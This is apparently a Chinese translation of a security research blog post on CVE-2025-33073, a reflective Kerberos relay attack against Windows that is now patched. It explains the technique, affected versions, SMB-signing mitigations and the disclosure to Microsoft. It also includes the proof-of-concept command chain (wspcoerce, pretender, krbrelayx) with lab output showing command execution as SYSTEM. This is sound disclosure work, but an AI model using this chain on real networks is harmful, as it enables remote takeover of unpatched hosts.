反思——反射型 Kerberos 中继攻击

IT安全领域一个令人悲伤的事实是，有些漏洞永远无法彻底消失，而那些早已被修复的漏洞却一次又一次地死灰复燃，再次攻击我们。在研究中继攻击（Active Directory的祸根）时，我们意外地发现了反射中继攻击。自2008年 MS08-068漏洞以来，NTLM消息就无法再中继回发起它们的主机。到了2025年，我们问自己：如果我们用Kerberos试试呢？

事实证明，这个问题导致了反射型 Kerberos 中继攻击的发现。它不仅绕过了针对 NTLM 反射的限制，还利用了一个提权漏洞。如果您可以强制任何 Windows 主机通过 SMB 向您进行身份验证，您就可以将计算机帐户的 Kerberos 票证中继回主机，并获得NT AUTHORITYSYSTEM特权，从而实现远程代码执行。

该漏洞的补丁已于 2025 年 6 月 10 日作为补丁星期二的一部分发布。

CVE-2025-33073 - 反射型 Kerberos 中继攻击

反射型 Kerberos 中继攻击是一种利用漏洞 CVE-2025-33073 的技术，该漏洞由 RedTeam Pentesting 于 2025 年 1 月发现。我们已将这一漏洞以详尽的白皮书形式向微软披露，并已将其 与我们的公告一同发布在我们的网站之上。作为补丁星期二活动的一部分，缓解措施已于 2025 年 6 月 10 日推出。我们希望借此机会，以更简洁的方式总结该问题，并表达我们的一些想法。

攻击背后的原理是，我们强制一台 Windows 主机通过 SMB 连接到我们的攻击系统，并通过 Kerberos 进行身份验证。然后，Kerberos 票证会通过 SMB 再次中继回同一台主机。由于强制操作通常会导致对相应计算机帐户进行身份验证，因此我们预期会获得一个具有该计算机帐户权限的低权限 SMB 会话。然而，结果却显示，该 SMB 会话拥有NT AUTHORITYSYSTEM足以执行任意命令的高权限。

这个概念听起来确实很简单，但结果却相当令人惊讶。然而，在实践中，要使这种攻击奏效，需要克服不少障碍。在我们的白皮书中，我们详细介绍了每个障碍及其影响，但要点如下：

• 身份验证强制：攻击始于身份验证强制。这是一种众所周知的技术，允许低权限帐户通过 DCERPC 连接 Windows 主机，并强制其使用其计算机帐户连接并验证身份到攻击系统。我们在之前的博客文章《2025 年 Windows 强制技术终极指南》中介绍了该技术背后的理论以及目前可用的技术。了解强制技术的局限性至关重要，因为这些局限性决定了哪些主机最终容易受到反射型 Kerberos 中继攻击的攻击。

• 强制目标与服务主体名称分离：强制 Kerberos 身份验证并不像听起来那么简单。如果我们强制连接到攻击系统，则只有当攻击系统拥有其自己的服务主体名称时才会使用 Kerberos，在这种情况下，如果我们将票证转发回去，票证将被拒绝。这就是技巧 CredUnmarshalTargetInfo/CREDENTIAL_TARGET_INFORMATIONW发挥作用的地方，它是由Google Project Zero 的 James Forshaw率先提出的。这使我们能够注册一个指向攻击系统的主机名，从而导致为完全不同的主机发出 Kerberos 票证。使用这种技术，我们能够收到原本发往同一主机的 Kerberos 票证。

• 绕过 NTLM 优先级：由于上述技巧，Windows 似乎认为它正在连接到自身，在这种情况下，NTLM 实际上优先于 Kerberos。因此，我们需要修改 krbrelayx ，使其声明自己完全不支持 NTLM，从而强制进行 Kerberos 身份验证。您可以在我们的论文中找到差异。

PoC 或者它没有发生！

这样我们最终就得到了一个可以转发回主机的票证。让我们看看实际操作起来是什么样的：

第一步是强制身份验证。在本例中，我们使用了我们全新的工具wspcoerce 来应对client1，不过您也可以看看我们之前的博客文章，了解其他技术：

$ wspcoerce 'lab.redteam/user1:KojbyRyibdinWom)@client1.lab.redteam'    file:////client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA/pathImpacket v0.13.0.dev0+20250408.175013.349160df - Copyright 2023 Fortra[*] Connected to IPC$[*] Opened MsFteWds pipe[*] Sent WSP Connect[*] Sent WSP Query[*] Sent WSP Disconnect

请注意，目标client1除了 Base64 编码的 之外，还包含主机名CREDENTIAL_TARGET_INFORMATIONW。这会导致client1 它为自己请求服务票证，并将其发送到完整主机名解析到的位置。您可以 在此处阅读有关此巧妙技术的更多信息。无论如何，我们必须确保整个主机名解析到我们的攻击系统。我们可以通过在 Active Directory 集成 DNS 上自行注册来实现这一点，或者简单地使用 伪装者来回答本地名称解析查询（查看我们关于伪装者的博客文章了解更多信息）：

$ sudo pretender -i eth1 --no-dhcp-dns --no-timestamps     --spoof '*1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA*'Pretender by RedTeam Pentesting v1.3.2-74e629fcc5Listening on interface: eth1IPv4 relayed to: 192.168.56.11IPv6 relayed to: fe80::a00:27ff:fe89:bdacAnswering queries for: *1uwhrcaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaybaaaa*[mDNS] listening via UDP on [ff02::fb%eth1]:5353[NetBIOS] listening via UDP on192.168.56.255:137[LLMNR] listening via UDP on [ff02::1:3%eth1]:5355[mDNS] listening via UDP on224.0.0.251:5353[LLMNR] listening via UDP on224.0.0.252:5355[...][mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by192.168.56.10 (client1.lab.redteam)[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by192.168.56.10 (PCSSystemtec)[mDNS] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (A) queried by192.168.56.10 (client1.lab.redteam)[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by fe80::6698:d1c7:60cb:8eb9 (client1.lab.redteam, 192.168.56.10)[LLMNR] "client11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" (AAAA) queried by192.168.56.10 (client1.lab.redteam)

$ krbrelayx.py --target smb://client1.lab.redteam -c whoami[...][*] SMBD: Received connection from192.168.56.10[*] Service RemoteRegistry isin stopped state[*] Service RemoteRegistry is disabled, enabling it[*] Starting service RemoteRegistry[*] Executed specified command on host: client1.lab.redteamnt authoritysystem[*] Stopping service RemoteRegistry[*] Restoring the disabled state for service RemoteRegistry

但为什么？

不幸的是，我们不太清楚为什么这会导致权限提升，但我们有一些推测。不过，请注意，我们实际上并没有进行任何逆向工程或调试来验证这些推测是否正确。

Windows 为本地环回身份验证提供了安全措施，该措施将 Kerberos 票证链接回创建该票证的进程。这对于防止本地用户绕过 UAC（James Forshaw 在此处描述）至关重要。本质上，它可以防止持有 UAC 限制令牌的用户执行环回网络身份验证到本地主机，从而生成一个拥有全新、不受限制令牌的进程。通过将身份验证链接到源进程，可以重用原始受限令牌，并且 UAC 限制仍然有效。

然而，在反射型 Kerberos 中继攻击中，这个概念被反过来了。高权限NT AUTHORITYSYSTEM帐户使用低权限计算机帐户的凭据执行身份验证client1$ 。Windows 似乎对这种攻击感到困惑，认为我们正在进行环回身份验证，因为 SPN 引用了它自己的主机名。因此，将票证链接到原始进程的两个结构（KERB_AD_RESTRICTION_ENTRY和 ）包含在票证中。 如果使用低权限帐户进行身份验证后重新使用原始进程的进程令牌而不是创建一个新的，会发生什么？没错，我们继承了权限！我们滥用了提权缓解措施来提升权限。KERB_LOCALclient1$NT AUTHORITYSYSTEM

至少，这是我们的理论。

那么谁是脆弱的？

如前所述，该漏洞已在微软于 6 月 10 日发布的补丁星期二修复中得到解决。我们尚未有机会测试微软采取的缓解措施，也不清楚他们具体采取了哪些措施来修复该漏洞。如果您有任何信息，请通过 Mastodon、 Bluesky、 电子邮件或 X/Twitter与我们联系。

我们仍然希望概述补丁前的情况，以便您判断其严重性：

我们能够在 Windows 10、11 以及 Server 2019 至 2025 上复现此漏洞。我们目前尚不清楚哪个版本不存在此漏洞。然而，易受攻击和可利用是两码事。为了真正利用此漏洞，必须能够进行强制操作和 SMB 中继。

在我们之前的博客文章中，我们详细介绍了哪些强制转换技术适用于哪些 Windows 版本。要点是，SMB 强制转换应该始终对所有客户端以及 23H2 之前的服务器可靠地工作。对于 23H2 或更新版本的服务器，它可能有效，也可能无效，具体取决于其他情况。

除非强制执行服务器端 SMB 签名，否则 SMB 中继是可能的。对于客户端，自 Windows 11 24H2 起默认强制执行该签名，但在服务器上，仅在域控制器上默认强制执行该签名。

总结

我们现在看到越来越多的基于中继的 Kerberos 攻击向量，它们都建立在 Kerberos 中继教父 James Forshaw 的基础之上。基于此基础，近年来出现了许多攻击实现。在Dirk-jan Mollema 实现 DNS 动态更新攻击向量之后， CredUnmarshalTargetInfo 技巧 和用于 SPN 混淆的 LLMNR 欺骗的实现只是时间问题 。这些攻击，加上使用 Kerberos 的反射中继攻击的复苏，强烈表明我们还有很多关于 Kerberos 中继的知识需要学习。我们期待在未来对这个主题进行和阅读更多研究，特别是当 NTLM 最终被弃用时。请记住：适用于 NTLM 的并不一定适用于 Kerberos。

另一个要点是，越来越明显的是，仅仅废除 NTLM 并就此罢休是不够的。所有用于修补 NTLM 这艘正在下沉的巨轮漏洞的小型缓解措施，例如 SMB 或 LDAP 签名、通道绑定和 EPA，对 Kerberos 来说也同样重要。微软也一直在努力在新版 Windows 中默认启用越来越多的此类功能。如果您正在努力保护您的 Windows 域，那么积极主动地采取预防措施是一个好主意。您不仅应该准备自行禁用 NTLM，还应该尽快自行启用安全功能。Windows 中随时都会发现新的漏洞，但即使在补丁发布之前，这些漏洞也很可能在您的域中无法被利用。在您检查安全设置之前，请记住服务器端签名策略比客户端策略重要得多。

最后，我们想谈谈我们的漏洞披露经历。过去，一些研究人员与微软存在一些分歧，例如最近Akamai 在其精彩的博客文章《BadSuccessor》中披露的dMSA 漏洞。然而，我们通过 MSRC 披露漏洞的经历是积极的。微软已经承认了这个问题，并根据我们认为合适的严重程度进行了评估，并在我们 3 个月的披露政策内发布了补丁。遗憾的是，漏洞赏金计划最初被拒绝，理由是该漏洞属于 Windows Insider Preview 赏金计划，默认情况下无法利用。这是因为 Windows 11 Insider Preview 默认启用了服务器端 SMB 签名。我们要求微软重新考虑，因为我们怀疑该漏洞可能并非特定于 SMB，而是普遍存在于 Kerberos 中，而且 SMB 签名配置仅影响我们研究中追踪的攻击向量，因为它最有可能被利用。令人惊讶的是，这促使微软重新评估了其对漏洞赏金计划的立场，并承诺提供 5000 美元的奖励。总体而言，我们认为这是一个伟大而成功的披露过程的例子，而且我们的印象是微软的员工确实听取了我们的论点。

引用内容：

https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory

https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

https://www.synacktiv.com/en/publications/abusing-multicast-poisoning-for-pre-authenticated-kerberos-relay-over-http-with

https://github.com/dirkjanm/krbrelayx